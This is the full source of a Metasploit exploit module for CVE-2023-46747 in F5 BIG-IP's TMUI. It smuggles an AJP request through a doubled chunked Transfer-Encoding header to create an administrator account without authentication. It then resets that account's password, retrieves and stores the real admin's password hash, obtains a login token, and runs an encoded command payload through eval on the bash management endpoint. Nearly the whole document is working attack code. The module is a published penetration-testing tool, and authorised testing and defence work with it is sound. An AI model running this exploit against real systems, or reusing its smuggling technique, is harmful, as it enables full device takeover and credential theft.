F5 BIG-IP TMUI AJP Smuggling RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/apache_j_p'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Retry

  ApacheJP = Rex::Proto::ApacheJP

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE',
        'Description' => %q{
          This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external,
          unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new
          account to execute a command payload. Both the exploit and check methods automatically delete any temporary
          accounts that are created.
        },
        'Author' => [
          'Michael Weber', # vulnerability analysis
          'Thomas Hendrickson', # vulnerability analysis
          'Sandeep Singh', # nuclei template
          'Spencer McIntyre' # metasploit module
        ],
        'References' => [
          ['CVE', '2023-46747'],
          ['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'],
          ['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'],
          ['URL', 'https://my.f5.com/manage/s/article/K000137353'],
          ['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'],
          ['URL', 'https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis']
        ],
        'DisclosureDate' => '2023-10-26', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Privileged' => true,
        'Targets' => [
          [
            'Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD
            }
          ],
        ],
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443,
          'FETCH_WRITABLE_DIR' => '/tmp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [
            IOC_IN_LOGS, # user creation events are logged
            CONFIG_CHANGES # a temporary user is created then deleted
          ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = create_user(role: 'Guest')
    return CheckCode::Unknown('No response received from target.') unless res
    return CheckCode::Safe('Failed to create the user.') unless res.code == 200

    changed = update_user_password
    return CheckCode::Safe('Failed to set the new user\'s password.') unless changed

    res = bigip_api_tm_get_user(username)
    return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate'

    CheckCode::Vulnerable('Successfully tested unauthenticated user creation.')
  end

  def exploit
    res = create_user(role: 'Administrator')
    fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200

    changed = update_user_password
    fail_with(Failure::UnexpectedReply, 'Failed to set the new user\'s password.') unless changed

    print_good("Admin user was created successfully. Credentials: #{username} - #{password}")

    res = bigip_api_tm_get_user('admin')
    if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present?
      print_good("Retrieved the admin hash: #{hash}")
      report_hash('admin', hash)
    end

    logged_in = retry_until_truthy(timeout: 30) do
      res = bigip_api_shared_login
      res&.code == 200
    end
    fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in

    token = res.get_json_document.dig('token', 'token')
    fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank?

    print_status("Obtained login token: #{token}")

    bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)"
    # this may or may not timeout
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'),
      'headers' => {
        'Content-Type' => 'application/json',
        'X-F5-Auth-Token' => token
      },
      'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json
    )
  end

  def report_hash(user, hash)
    jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
    service_data = {
      address: rhost,
      port: rport,
      service_name: 'F5 BIG-IP TMUI',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :nonreplayable_hash,
      jtr_format: jtr_format,
      username: user
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def cleanup
    super

    print_status('Deleting the created user...')
    delete_user
  end

  def username
    @username ||= rand_text_alpha(6..8)
  end

  def password
    @password ||= rand_text_alphanumeric(16..20)
  end

  def create_user(role:)
    # for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html
    send_request_smuggled_ajp({
      'handler' => '/tmui/system/user/create',
      'form_page' => '/tmui/system/user/create.jsp',
      'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]",
      'systemuser-hidden_before' => '',
      'name' => username,
      'name_before' => '',
      'passwd' => password,
      'passwd_before' => '',
      'finished' => 'x',
      'finished_before' => ''
    })
  end

  def delete_user
    send_request_smuggled_ajp({
      'handler' => '/tmui/system/user/list',
      'form_page' => '/tmui/system/user/list.jsp',
      'checkbox0' => username,
      'checkbox0_before' => 'checked',
      'delete_confirm' => 'Delete',
      'delete_confirm_before' => 'Delete',
      'row_count' => '1',
      'row_count_before' => '1'
    })
  end

  def update_user_password
    new_password = Rex::Text.rand_text_alphanumeric(password.length)
    changed = retry_until_truthy(timeout: 30) do
      res = bigip_api_shared_set_password(username, password, new_password)
      res&.code == 200
    end
    @password = new_password if changed
    changed
  end

  def send_request_smuggled_ajp(query)
    post_data = "204\r\n" # do not change

    timenow = rand_text_numeric(1)
    tmui_dubbuf = rand_text_alpha_upper(11)

    query = query.merge({
      '_bufvalue' => Base64.strict_encode64(OpenSSL::Digest::SHA1.new(tmui_dubbuf + timenow).digest),
      '_bufvalue_before' => '',
      '_timenow' => timenow,
      '_timenow_before' => ''
    })
    query_string = URI.encode_www_form(query).ljust(370, '&')

    # see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes
    ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new(
      http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_POST,
      req_uri: '/tmui/Control/form',
      remote_addr: '127.0.0.1',
      remote_host: 'localhost',
      server_name: 'localhost',
      headers: [
        { header_name: 'Tmui-Dubbuf', header_value: tmui_dubbuf },
        { header_name: 'REMOTEROLE', header_value: '0' },
        { header_name: 'host', header_value: 'localhost' }
      ],
      attributes: [
        { code: ApacheJP::ApacheJPRequestAttribute::CODE_REMOTE_USER, attribute_value: 'admin' },
        { code: ApacheJP::ApacheJPRequestAttribute::CODE_QUERY_STRING, attribute_value: query_string },
        { code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR }
      ]
    )
    ajp_data = ajp_forward_request.to_binary_s[2...]
    unless ajp_data.length == 0x204 # 516 bytes
      # this is a developer error
      raise "AJP data must be 0x204 bytes, is 0x#{ajp_data.length.to_s(16)} bytes."
    end

    post_data << ajp_data
    post_data << "\r\n0"

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'),
      'headers' => { 'Transfer-Encoding' => 'chunked, chunked' },
      'data' => post_data
    )
  end

  def bigip_api_shared_set_password(user, old_password, new_password)
    send_request_cgi(
      'method' => 'PATCH',
      'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),
      'headers' => {
        'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",
        'Content-Type' => 'application/json'
      },
      'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json
    )
  end

  def bigip_api_shared_login
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'),
      'headers' => { 'Content-Type' => 'application/json' },
      'data' => { 'username' => username, 'password' => password }.to_json
    )
  end

  def bigip_api_tm_get_user(user)
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user),
      'headers' => {
        'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",
        'Content-Type' => 'application/json'
      }
    )
  end
end